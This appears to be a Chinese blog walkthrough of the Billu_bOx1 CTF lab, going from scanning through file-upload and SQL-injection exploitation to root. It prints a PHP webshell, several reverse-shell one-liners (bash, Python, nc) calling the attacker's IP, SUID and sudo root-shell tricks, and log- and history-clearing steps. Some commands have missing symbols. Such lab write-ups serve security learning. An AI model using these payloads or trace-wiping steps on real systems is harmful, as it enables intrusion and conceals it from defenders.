从Billu_bOx1靶机实战解析Web渗透测试全流程:信息搜集到权限提升

📅 2026/7/23 1:29:33
从Billu_bOx1靶机实战解析Web渗透测试全流程:信息搜集到权限提升
1. 项目概述从Billu_bOx1靶机看实战渗透测试的完整闭环最近在整理自己的渗透测试实战笔记翻到了几年前一个让我印象深刻的靶机——Billu_bOx1。这个靶机在圈内流传很广虽然现在看来它的漏洞点不算新颖但其设计巧妙之处在于它几乎串联了一个Web渗透测试从信息搜集到最终提权的所有核心环节非常适合新手构建完整的渗透思维也值得老手用来温故知新。它不是那种一个漏洞直通flag的“快餐”靶机而是需要你像剥洋葱一样一层层地深入非常考验耐心和基本功。今天我就以Billu_bOx1为例完整复盘一次渗透测试的实战流程分享其中的思路、技巧和踩过的坑。无论你是刚接触Kali Linux的新手还是想巩固流程的安全爱好者这篇长文都能给你带来直接的参考价值。2. 靶机环境搭建与信息搜集策略2.1 靶机部署与网络配置Billu_bOx1是一个基于VirtualBox或VMware的虚拟机镜像文件格式通常是.ova或.vmdk。拿到镜像后第一步是导入到你的虚拟化平台。这里有个关键点务必配置为“仅主机Host-Only模式”或“NAT模式”。我强烈推荐使用VMware的“仅主机模式”或VirtualBox的“内部网络”这样可以创建一个独立的、与宿主机直接通信的虚拟网络避免你的测试流量影响到真实网络环境也符合安全测试的伦理规范。导入并启动靶机后你通常不需要登录系统因为不知道密码靶机会自动获取IP地址。这时你需要在自己的攻击机比如Kali Linux上发现它。最直接的方法是使用netdiscover或arp-scan进行二层网络扫描。sudo netdiscover -r 192.168.56.0/24假设你的虚拟网络网段是192.168.56.0/24这条命令会列出该网段内所有活跃的IP和MAC地址。找到那个不属于你已知设备的IP很可能就是靶机。我通常还会用ping扫一下确认连通性ping -c 3 192.168.56.102。找到靶机IP后记下来这是所有后续操作的起点。2.2 系统性信息搜集不止于端口扫描很多新手拿到IP就直接上漏洞扫描器这其实是个误区。全面的信息搜集是渗透测试成功的一半。对于Billu_bOx1我们需要进行分层侦察。首先使用nmap进行全端口扫描我习惯用-sSSYN半开扫描更隐蔽和-sV版本探测组合再加上-p-扫描所有65535个端口。sudo nmap -sS -sV -p- -T4 192.168.56.102 -oN nmap_full.txt扫描结果通常会显示几个关键端口80HTTP、22SSH有时还会有其他如21FTP、3306MySQL等。对于Billu_bOx1核心就是80端口。接下来针对Web服务进行更细致的探测。使用-A参数可以开启操作系统探测和版本探测但动静较大。我更倾向于分步进行sudo nmap -sS -sC -O 192.168.56.102 -oN nmap_detail.txt-sC会运行默认的Nmap脚本有时能发现一些有用的信息比如HTTP标题头。光有端口信息还不够我们需要知道Web应用的具体情况。使用dirb、gobuster或ffuf进行目录爆破是标准动作。我常用gobuster因为它速度快字典丰富。gobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -o gobuster_scan.txt这个命令会寻找常见的目录和带有phphtmltxt扩展名的文件。在Billu_bOx1的扫描结果中你很快会发现一些有趣的路径比如/add.php/panel.php/c.php等这些就是下一步攻击的入口点。注意信息搜集阶段一定要细致并做好记录。我习惯用CherryTree或简单的文本文件把每个发现的IP、端口、服务版本、目录、可能的框架如通过whatweb工具识别都记下来。这些信息在后续的漏洞串联和攻击链构建中至关重要。3. Web应用漏洞挖掘与利用实战3.1 初探Web界面与敏感信息泄露访问靶机的IP如http://192.168.56.102你会看到一个简单的登录页面。这是Billu_bOx1的“门户”。在没有任何凭证的情况下我们首先尝试默认口令admin/admin root/root等但通常都会失败。这时之前目录爆破的结果就派上用场了。逐一访问发现的页面。访问/c.php可能会直接暴露一些敏感信息比如PHP配置、服务器路径等这属于敏感信息泄露漏洞。而/add.php和/panel.php这类页面往往与后台管理功能相关但需要权限。这里就引出了第一个常见的攻击思路寻找身份验证绕过或弱口令。除了手动浏览使用浏览器开发者工具F12查看网络请求和源代码也是好习惯。有时关键信息如隐藏的表单、注释掉的密码、JS文件中的API路径就藏在源码里。对于Billu_bOx1仔细审计/index.php或登录页面的源码有时能发现提示或隐藏的输入框。3.2 文件上传漏洞的发现与利用在探索过程中你可能会找到一个文件上传点例如在/add.php或类似功能中。这是Web渗透中一个经典的突破口。测试文件上传漏洞我遵循以下步骤基础绕过先尝试上传一个简单的.txt文件确认上传功能基本正常。黑名单绕过如果限制上传.php等后缀尝试.phtml.php5.php7.phps.php.利用解析漏洞或者大小写混合如.PhP。MIME类型绕过通过Burp Suite拦截上传请求将Content-Type从application/x-php改为image/jpeg或text/plain。前端验证绕过直接删除或禁用前端的JS验证代码。.htaccess文件攻击如果能上传.htaccess文件可以配置服务器将特定后缀如.test当作PHP解析AddType application/x-httpd-php .test。在Billu_bOx1中文件上传漏洞的利用往往是获取Webshell的第一步。假设我们成功上传了一个名为shell.php或绕过后的名字的Webshell内容为最简单的PHP代码?php system($_GET[‘cmd’]); ?上传后访问这个文件的URL如http://192.168.56.102/uploads/shell.php并通过?cmdwhoami参数执行系统命令如果返回了Web服务运行的用户如www-data那么恭喜你已经拿到了一个**命令执行RCE**的入口。实操心得上传Webshell后第一时间不是执行id或whoami而是先尝试pwd和ls -la搞清楚自己当前在服务器文件系统中的位置以及目录的权限。这决定了你后续能做什么。3.3 SQL注入漏洞的深度利用除了文件上传Billu_bOx1另一个核心漏洞点是SQL注入。登录框、搜索框、查看详情的页面如/view.php?id1都是常见的注入点。我习惯先用‘单引号和“双引号进行初步测试看是否有数据库报错信息回显。如果存在报错注入可以直接利用报错信息获取数据。但更通用的是使用sqlmap进行自动化检测和利用。例如对一个疑似注入点sqlmap -u “http://192.168.56.102/view.php?id1” --batch --dbs--batch参数会让sqlmap自动选择默认选项适合快速测试。如果成功它会列出所有数据库名。在Billu_bOx1中我们关心的数据库通常叫billu或类似名称。接着指定数据库进行表名枚举sqlmap -u “http://192.168.56.102/view.php?id1” -D billu --tables找到用户表常命名为usersadminauth等后爆出字段和内容sqlmap -u “http://192.168.56.102/view.php?id1” -D billu -T users --columns sqlmap -u “http://192.168.56.102/view.php?id1” -D billu -T users -C usernamepassword --dump这一步的目标是获取后台管理员的用户名和密码哈希值。如果密码是明文在老旧或教学靶机中常见那就直接登录。如果是MD5等哈希则需要破解。可以用john或在线彩虹表网站进行破解。拿到管理员凭证后就能登录后台/panel.php那里通常有更强大的功能甚至直接存在获取Webshell或执行命令的选项。4. 权限提升与内网横向移动思路4.1 从Web Shell到稳定立足点通过文件上传或SQL注入后的命令执行我们拿到了一个www-data权限的Web Shell。这个权限很低很多操作受限制。第一步是建立一个更稳定、功能更全的反向Shell。在攻击机Kali上监听一个端口nc -lvnp 4444然后在Web Shell里执行反向连接命令。根据靶机环境有多种payloadBashbash -c ‘bash -i /dev/tcp/192.168.56.101/4444 01’Pythonpython -c ‘import socketsubprocessos; ssocket.socket(socket.AF_INETsocket.SOCK_STREAM); s.connect((“192.168.56.101”4444)); os.dup2(s.fileno()0); os.dup2(s.fileno()1); os.dup2(s.fileno()2); psubprocess.call([“/bin/sh” “-i”]);’使用nc如果靶机有netcat尤其是有-e参数的版本那最简单nc 192.168.56.101 4444 -e /bin/bash成功建立反向Shell后你就获得了一个交互式的命令行。首先升级一下Shell的体验python -c ‘import pty; pty.spawn(“/bin/bash”)’然后按CtrlZ挂起在Kali终端输入stty raw -echo; fg再输入reset最后设置终端类型export TERMxterm。这样你就获得了一个支持命令历史、Tab补全的“全功能”终端。4.2 系统内部信息搜集与提权枚举拿到一个相对稳定的Shell后不要急着乱跑。先进行系统的内部信息搜集为提权做准备。我有一套固定的枚举脚本和命令系统信息uname -a内核版本cat /etc/issuecat /etc/*-release用户和权限idwhoamicat /etc/passwdsudo -l如果当前用户有sudo权限这是提权的黄金钥匙进程与服务ps auxnetstat -tulpn查看网络连接和监听端口寻找内部服务计划任务crontab -lls -la /etc/cron*cat /etc/crontab寻找以root权限运行的定时任务SUID/GUID文件find / -perm -us -type f 2/dev/null查找设置了SUID位的文件可能被滥用可写文件与目录find / -writable -type d 2/dev/null尤其是/tmp/var/tmp/dev/shm对于Billu_bOx1内核漏洞提权和滥用SUID文件是常见的提权路径。可以使用searchsploit在本地搜索已知的内核漏洞或者上传像LinEnum.shlinuxprivchecker.py这样的自动化枚举脚本它能系统性地检查各种提权向量。假设我们发现了一个具有SUID权限的非常规二进制文件比如/usr/bin/find。那么可以利用它来提权/usr/bin/find . -exec /bin/bash -p \;-p参数会让bash保留有效用户ID即root从而产生一个root shell。类似的如果有vimnmap旧版本python等具有SUID或sudo权限都有对应的提权方法。4.3 内网横向移动初步探索在Billu_bOx1这样的单机靶机中横向移动不是重点但思路值得了解。如果在信息搜集中发现靶机还开放了其他端口如21/FTP 22/SSH 3306/MySQL并且我们通过Web漏洞获取了某些服务的密码可能存储在配置文件或数据库中就可以尝试凭证复用。例如从Web应用的数据库或配置文件中找到了SSH密码可以尝试用ssh userlocalhost连接本机的SSH服务以获得一个更干净的终端。或者用找到的MySQL密码连接数据库尝试通过MySQL的into outfile功能写Webshell或者利用MySQL的UDF用户定义函数进行提权。5. 后渗透阶段定位Flag与清理痕迹5.1 系统性地搜索Flag文件像Billu_bOx1这类CTF靶机最终目标是找到Flag。Flag文件通常具有特定名称如flag.txtproof.txtroot.txt或内容格式如FLAG{...}。拿到root权限后就可以在全系统搜索。find / -name “*flag*” 2/dev/null find / -name “*.txt” -exec grep -l “FLAG{” {} \; 2/dev/null find / -type f -exec grep -H “flag{” {} \; 2/dev/null这些命令会搜索文件名包含“flag”的文件或者文件内容包含“FLAG{”模式的文件。Flag可能藏在/root/home下的用户目录/var/www网站目录甚至是一些隐蔽的临时目录里。需要耐心和细致的搜索。5.2 渗透测试的善后工作在实际的授权测试中完成后需要清理痕迹避免对目标系统造成持久影响。这包括删除上传的Webshell文件找到上传路径用rm命令删除。清理日志文件Web日志如/var/log/apache2/access.logerror.log、系统认证日志/var/log/auth.log、命令历史~/.bash_history都可能记录我们的操作。需要谨慎编辑或删除相关条目。对于命令历史可以直接清空echo ‘’ ~/.bash_history history -c。删除创建的用户或后门如果在提权过程中添加了用户或设置了SSH密钥后门需要移除。关闭建立的反向Shell连接在攻击机上CtrlC结束监听即可。重要提示以上清理操作仅适用于授权测试环境或像Billu_bOx1这样的本地靶机。在未经授权的真实系统上进行任何操作都是非法的。我们学习渗透测试技术是为了理解攻击原理从而更好地进行防御。6. 常见问题排查与实战技巧汇编6.1 网络连通性问题问题Kali无法ping通靶机IP。排查首先检查虚拟网络设置确保攻击机和靶机在同一网段如都是VMnet1/Host-Only。在Kali上运行ifconfig在靶机如果可能或虚拟机设置里查看IP。尝试关闭宿主机的防火墙临时测试。重启虚拟网络适配器或虚拟机。问题能ping通但nmap扫不到80端口。排查确认靶机Web服务是否已启动。尝试用netstat -tulpn在靶机上或nmap -sT -p 80 靶机IPTCP全连接扫描更可靠再次检查。有时靶机防火墙会丢弃SYN包导致-sS扫描无结果。6.2 漏洞利用失败问题问题sqlmap检测不出注入点。排查确认注入点是否存在手动加‘和and 11and 12测试。尝试使用--level和--risk提高检测等级如--level 3 --risk 2。如果网站有Token或动态参数可能需要使用--random-agent和--delay来规避检测。有时需要指定注入参数-p “id”。问题文件上传成功但访问时被解析为纯文本或返回403/404。排查确认上传文件的完整访问路径。检查文件权限ls -la确保Web服务器用户如www-data有读取权限。确认服务器是否真的支持该后缀的解析如.phtml需要Apache特定配置。尝试不同的目录如/images//uploads//assets/。6.3 提权过程受阻问题问题内核漏洞exp编译失败或执行不成功。排查检查靶机系统架构uname -m确保exp代码兼容32位还是64位。检查gcc等编译工具是否安装。尝试寻找已经编译好的、对应内核版本的二进制exp。注意glibc库版本差异也可能导致运行失败。在真实环境中盲目运行来路不明的exp极有可能导致系统崩溃。问题sudo -l显示可以以root身份运行某些命令但利用时失败。排查仔细阅读sudo -l的输出注意(root) NOPASSWD:后面的命令路径是否完全匹配。有些配置可能限制了命令行参数。利用时必须使用完整的绝对路径。例如如果显示可以无密码运行/usr/bin/vi那么提权命令必须是sudo /usr/bin/vi然后通过在vi中执行:!bash来获取root shell。6.4 个人实战技巧备忘信息记录永远用好你的笔记工具。截图、命令输出、IP、密码哈希、思路转折点全部记下来。这不仅是报告需要当测试复杂或中断后重新继续时能节省大量时间。工具备选不要只依赖一个工具。dirb没扫出来的目录用gobuster或ffuf换个字典可能就有发现。sqlmap不行的时候手动注入可能更快。思维发散遇到瓶颈时回头看看信息搜集阶段的所有发现。一个不起眼的robots.txt文件一个JS文件里的注释一个图片属性里的信息都可能成为突破口。Billu_bOx1的某些入口就藏在很普通的地方。理解原理比会用工具更重要的是理解漏洞原理。知道SQL注入是怎么拼接字符串的就知道该怎么构造payload。知道文件上传是怎么验证的就知道该怎么绕过。这能让你在面对新环境、新WAF时依然有思路。环境隔离所有测试都在虚拟化的隔离环境中进行。像Billu_bOx1这样的靶机做完一次后可以拍个快照然后恢复快照重新开始反复练习不同的攻击路径和工具直到把整个流程刻在脑子里。